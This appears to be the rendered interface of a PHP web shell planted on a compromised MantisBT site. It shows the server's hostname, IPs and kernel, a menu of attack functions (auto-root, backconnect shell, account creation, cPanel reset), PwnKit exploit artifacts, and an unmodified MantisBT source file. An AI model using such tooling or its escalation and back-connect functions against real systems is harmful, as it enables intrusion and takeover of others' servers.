Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
api /
soap /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
mantisconnect.php
4.18
KB
-rw-r--r--
mantisconnect.wsdl
84.11
KB
-rw-r--r--
mc_account_api.php
1.05
KB
-rw-r--r--
mc_api.php
18.67
KB
-rw-r--r--
mc_config_api.php
991
B
-rw-r--r--
mc_config_defaults_inc.php
2.77
KB
-rw-r--r--
mc_core.php
1.19
KB
-rw-r--r--
mc_custom_field_api.php
1.05
KB
-rw-r--r--
mc_enum_api.php
10.05
KB
-rw-r--r--
mc_file_api.php
7.35
KB
-rw-r--r--
mc_filter_api.php
4.97
KB
-rw-r--r--
mc_issue_api.php
56.63
KB
-rw-r--r--
mc_issue_attachment_api.php
3.48
KB
-rw-r--r--
mc_project_api.php
32.84
KB
-rw-r--r--
mc_project_attachment_api.php
3.47
KB
-rw-r--r--
mc_tag_api.php
5.14
KB
-rw-r--r--
mc_user_pref_api.php
1.13
KB
-rw-r--r--
mc_user_profile_api.php
2.18
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mc_tag_api.php
<?php # MantisBT - A PHP based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * Retrieves all tags, unless the users * * @param string $p_username The user's username * @param string $p_password The user's password * @param int $p_page_number The page number to return data for * @param string $p_per_page The number of issues to return per page * @return array The tag data */ function mc_tag_get_all( $p_username, $p_password, $p_page_number, $p_per_page) { $t_user_id = mci_check_login( $p_username, $p_password ); if ( $t_user_id === false ) { return mci_soap_fault_login_failed(); } if ( !access_has_global_level( config_get( 'tag_view_threshold' ) ) ) return mci_soap_fault_access_denied( $t_user_id , 'No rights to view tags'); if ( $p_per_page == 0 ) $p_per_page = 1; $t_results = array(); $t_total_results = tag_count( '' ); foreach ( tag_get_all('', $p_per_page, $p_per_page * ( $p_page_number - 1 ) ) as $t_tag_row ) { $t_results[] = array ( 'id' => $t_tag_row['id'], 'name' => $t_tag_row['name'], 'description' => $t_tag_row['description'], 'user_id' => mci_account_get_array_by_id ( $t_tag_row['user_id'] ), 'date_created' => SoapObjectsFactory::newDateTimeVar($t_tag_row['date_created']), 'date_updated' => SoapObjectsFactory::newDateTimeVar($t_tag_row['date_updated']) ); } return array( 'results' => $t_results, 'total_results' => $t_total_results ); } /** * Creates a tag * * @param string $p_username The user's username * @param string $p_password The user's password * @param array $p_tag The tag to create * @return soap_fault|integer */ function mc_tag_add( $p_username, $p_password, $p_tag ) { $t_user_id = mci_check_login( $p_username, $p_password ); if ( $t_user_id === false ) { return mci_soap_fault_login_failed(); } if ( !access_has_global_level( config_get( 'tag_create_threshold' ) ) ) return mci_soap_fault_access_denied( $t_user_id ); $t_valid_matches = array(); $p_tag = SoapObjectsFactory::unwrapObject( $p_tag ); $t_tag_name = $p_tag['name']; $t_tag_description = array_key_exists('description', $p_tag) ? $p_tag['description'] : ''; if ( !tag_name_is_valid($t_tag_name, $t_valid_matches)) return SoapObjectsFactory::newSoapFault('Client', 'Invalid tag name : "' . $t_tag_name .'"' ); $t_matching_by_name = tag_get_by_name( $t_tag_name); if ( $t_matching_by_name != false ) return SoapObjectsFactory::newSoapFault('Client', 'A tag with the same name already exists , id: ' . $t_matching_by_name['id']); return tag_create($t_tag_name, $t_user_id, $t_tag_description); } /** * * Deletes a tag * * @param string $p_username The user's username * @param string $p_password The user's password * @param unknown_type $p_tag_id * @param int $p_tag_id The id of the tag * @return soap_fault|boolean */ function mc_tag_delete( $p_username, $p_password, $p_tag_id ) { $t_user_id = mci_check_login( $p_username, $p_password ); if ( $t_user_id === false ) { return mci_soap_fault_login_failed(); } if ( !access_has_global_level( config_get( 'tag_edit_threshold' ) ) ) return mci_soap_fault_access_denied( $t_user_id ); if ( ! tag_exists( $p_tag_id ) ) return SoapObjectsFactory::newSoapFault('Client', 'No tag with id ' . $p_tag_id); return tag_delete( $p_tag_id ); } function mci_tag_set_for_issue ( $p_issue_id, $p_tags, $p_user_id ) { $t_tag_ids_to_attach = array(); $t_tag_ids_to_detach = array(); $t_submitted_tag_ids = array(); $t_attached_tags = tag_bug_get_attached( $p_issue_id ); $t_attached_tag_ids = array(); foreach ( $t_attached_tags as $t_attached_tag ) $t_attached_tag_ids[] = $t_attached_tag['id']; foreach ( $p_tags as $t_tag ) { $t_tag = SoapObjectsFactory::unwrapObject( $t_tag ); $t_submitted_tag_ids[] = $t_tag['id']; if ( in_array( $t_tag['id'], $t_attached_tag_ids) ) { continue; } else { $t_tag_ids_to_attach[] = $t_tag['id']; } } foreach ( $t_attached_tag_ids as $t_attached_tag_id ) { if ( in_array ( $t_attached_tag_id, $t_submitted_tag_ids) ) { continue; } else { $t_tag_ids_to_detach[] = $t_attached_tag_id; } } foreach ( $t_tag_ids_to_detach as $t_tag_id ) { if ( access_has_bug_level ( config_get('tag_detach_threshold'), $p_issue_id, $p_user_id ) ) { tag_bug_detach( $t_tag_id, $p_issue_id); } } foreach ( $t_tag_ids_to_attach as $t_tag_id ) { if ( access_has_bug_level ( config_get('tag_attach_threshold'), $p_issue_id, $p_user_id ) ) { tag_bug_attach( $t_tag_id, $p_issue_id); } } }
Close